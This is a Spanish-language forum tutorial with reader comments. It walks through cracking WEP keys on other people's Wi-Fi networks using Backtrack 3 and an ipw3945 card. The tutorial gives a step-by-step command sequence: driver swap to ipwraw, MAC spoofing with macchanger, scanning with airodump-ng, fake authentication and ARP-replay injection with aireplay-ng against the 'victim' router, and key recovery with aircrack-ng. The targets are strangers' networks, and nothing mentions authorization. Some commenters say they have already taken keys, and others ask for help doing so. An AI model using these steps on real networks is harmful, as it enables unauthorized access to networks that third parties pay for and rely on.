Tutorial para crackear con Backtrack 3

Bueno en este tuto es para usar el Backtrack 3 con la tarjeta de red Intel Pro Wireless 3945 tambien conocida como ipw3945, que es la que tengo en mi portatil

Nos bajamos el iso de Bt3 y lo quemamos en un cd.

Backtrack 3

Cuando ya tenemos este live-cd lo arrancamos y entra directamente sin tener que poner root ni nada mas. Empezamos:

Abrimos terminal

Código:

iwconfig

Este comando nos muestra el estado de las interfaces de red. Pero necesitamos activar Ipwraw, para que nuestra tarjeta de red sirva para inyectar, para hacer esto tecleamos lo siguiente:

Código:

rmmod iwl3945
modprobe ipwraw

Tecleamos de nuevo el comando

Código:

iwconfig

Y nos saldrá que cambió de wlan0 a wifi0, el wifi0 es lo que necesitamos para poder seguir con el crackeo.

Bien ahora podemos cambiar nuestra dirección mac con:

Código:

macchanger -m 00:11:22:33:44:55 wifi0

Podemos usar cualquier numero que queramos pero que sea en grupos de 6 ejemplo: xx:xx:xx:xx:xx:xx

O bien podemos saber nuestro numero MAC de la tarjeta inalámbrica. Lo hacemos por medio de:

Código:

ifconfig wifi0 up
ifconfig

Es un numero de 12 digitos que viene etiquetado como HRDAW (o algo asi) en el apartado wifi0.

Ahora procedemos a escanear las redes a nuestro alcance.

Código:

airodump-ng wifi0

Bien ahora lo que sigue será escanear la red que hayámos seleccionado

Código:

airodump-ng --channel x --write xxx wifi0

o bien:

Código:

airodump-ng -c x -w xxx wifi0

Nota: cambiar la primera "x" por el numero del canal de red que quieran crackear y las "xxx" por algun nombre que deseen no importa cual sea.

Ahora lo que haremos es asociarnos con el router de la victima, para poder inyectar los paquetes

Código:

aireplay-ng -1 0 -e ESSID -a xx:xx:xx:xx:xx:xx -h nuestra mac wifi0

Cambiar las "x" por la mac de la victima y el ESSID por el nombre de la red victima

Paso siguiente a capturar paquetes:

Código:

aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h nuestra mac wifi0

Recordad cambiar las "x" por la mac de la victima

Y comienza la inyección de paquetes y si han hecho todo al pie de la letra en estos momentos el numero de ARP estará aumentando rapidamente. Con 30000 DATAS ya puedes intentar el ataque pero pueden necesitarse hasta 100000 o mas DATAS

Pasó final, craquear la wep:

Código:

aircrack-ng xxx-01.cap

Donde xxx es el nombre que eligieron al principio.

Nos pedirá que seleccionemos el numero de la red victima

Y en poco tiempo pondra "Key found" y lo que sea.

Existen mas comandos para crackear weps, estos no son los unicos pero eso ya depende de la tarjeta que tengas.

Un saludo

hola lo necesito no puedo imprimirlo gracias

pues haz un copy y paste en un documento de texto

si ese es tu mayor problema creo ke no te vendra bien el tuto ya ke no lo sabras usar mucho... es solo una observacion eh!!

weno un saludete

hola me llamo axel, queria ver si alguien me podria ayudar con esto.
Lo q pasa es q ya pude sacar algunas claves jaj.. pero ya no lo habia necesitado hasta ahora, y ahora que lo intento al correr airodump-ng -1 ó -3 me indica esto:
Waiting for beacon frame(BSSID: XX:XX:XX:XX:XX:XX) on channel 6, y asi le vuelvo a dar y me dice en el canal 4, en el 9 , en el 14 y tengo que estar intentando hasta q agarra el canal correcto, haaa y cuando ya logra asociar a la red y aparece la carita feliz y todo eso y empieza a capturar los paquetes rapidamente, se bloquea y ya no puedo hacer nada, mas que reiniciar el equipo... alguien sabe que puede estar mal en mi equipo? ayudaaaaaaaa!!!!

A ver si alguien puede ayudarme:

Hace unos dias baje el backtrack3, queme el iso en un cd y booteo mi laptop desde el cdrom, luego me da varias opciones que no recuerdo exactamente que dicen pero una dice algo de KDE, otra dice algo de FLUX, y otra algo de VESA 1024x768...

Ya trate con todas esas opciones, al elegir una me aparece una pantalla que en la parte de arriba dice <<Back Track y como que empieza a cargar archivos y reconocer dispositivos, despues de eso una lista de tareas realizadas de las cuales la ultima es < looking for data directory y a partir de ahi no realiza nada, es lo ultimo que hace y ya no puedo continuar...

Necesito hacer algo mas o tengo algo mal configurado???

Espero puedan ayudarme, gracias!!

hola de antemano
cual seria la serie de comandos para una targeta de red: ASTRON chipset: ZyDAS
driver: zd1211rw
pues como dices necesito que cambie a wifi0 para poder inyectar
gracias

Buenas juan antonio, la web esta muerta, pasate por www.pspstrike.com

Saludos!

hola talvez alguien podria ayudarme...tengo un problema, cuento con una corel 2 duo y con un sistema operativo windows 7, no se si tenga algo q ver pero...cuando empieza acargar el cd live ocurre un error y es el siguiente:

fatal error ocurred- BT3 data not found.
you are maybe using an unsupported boot device (eg. SCSI OR OLD PCMCIA),
workaround: copy the directory BT3 from your boot device to an IDE/SATA DISK, eg. to /mnt/hda1/BT3 or c:/BT3. then try to boot again.

*SOMETHING WENT WRONG AND WE CANT CONTINUE. THIS SHOULD NEVER HAPPEN .
*PLEASE REBOOT YOUR COMPUTER WITH CRTL+ALT+DELETE.....

de ante mano muchas graciassss

a mi no me cambia mi mac x la de 00:11:22:33:44:55 que hago

q tarjetas trabajan o la hacen linda con bactrack 3?

es cierto q para sacar una wep de 128bit tngo q esperar unos 90 000paketes?
aparte de q otra forma se puede sacar una wep aparte del backtrack 3

buenas a todos amigos(a) soy nuevo en esto de los foros pero he leido algunas cosas que me han parecido interesantes quisiera que por favor me ayudaran con una duda que tengo: pienso usar el backtrack 3 y lo que quiero saber es que en caso de que no me funcione tendre problemas con mi internet actual? quiero decir que si por alguna razon despues de usar el bt3 no pueda conectarme a la red wifi que uso de manera normal?? que no desconfigure algo que despues me impida conectarme a la red que pago? se poco de esto en realidad por eso recurro a quien pueda ayudarme de antemano muchas gracias espero su ayuda hasta luego.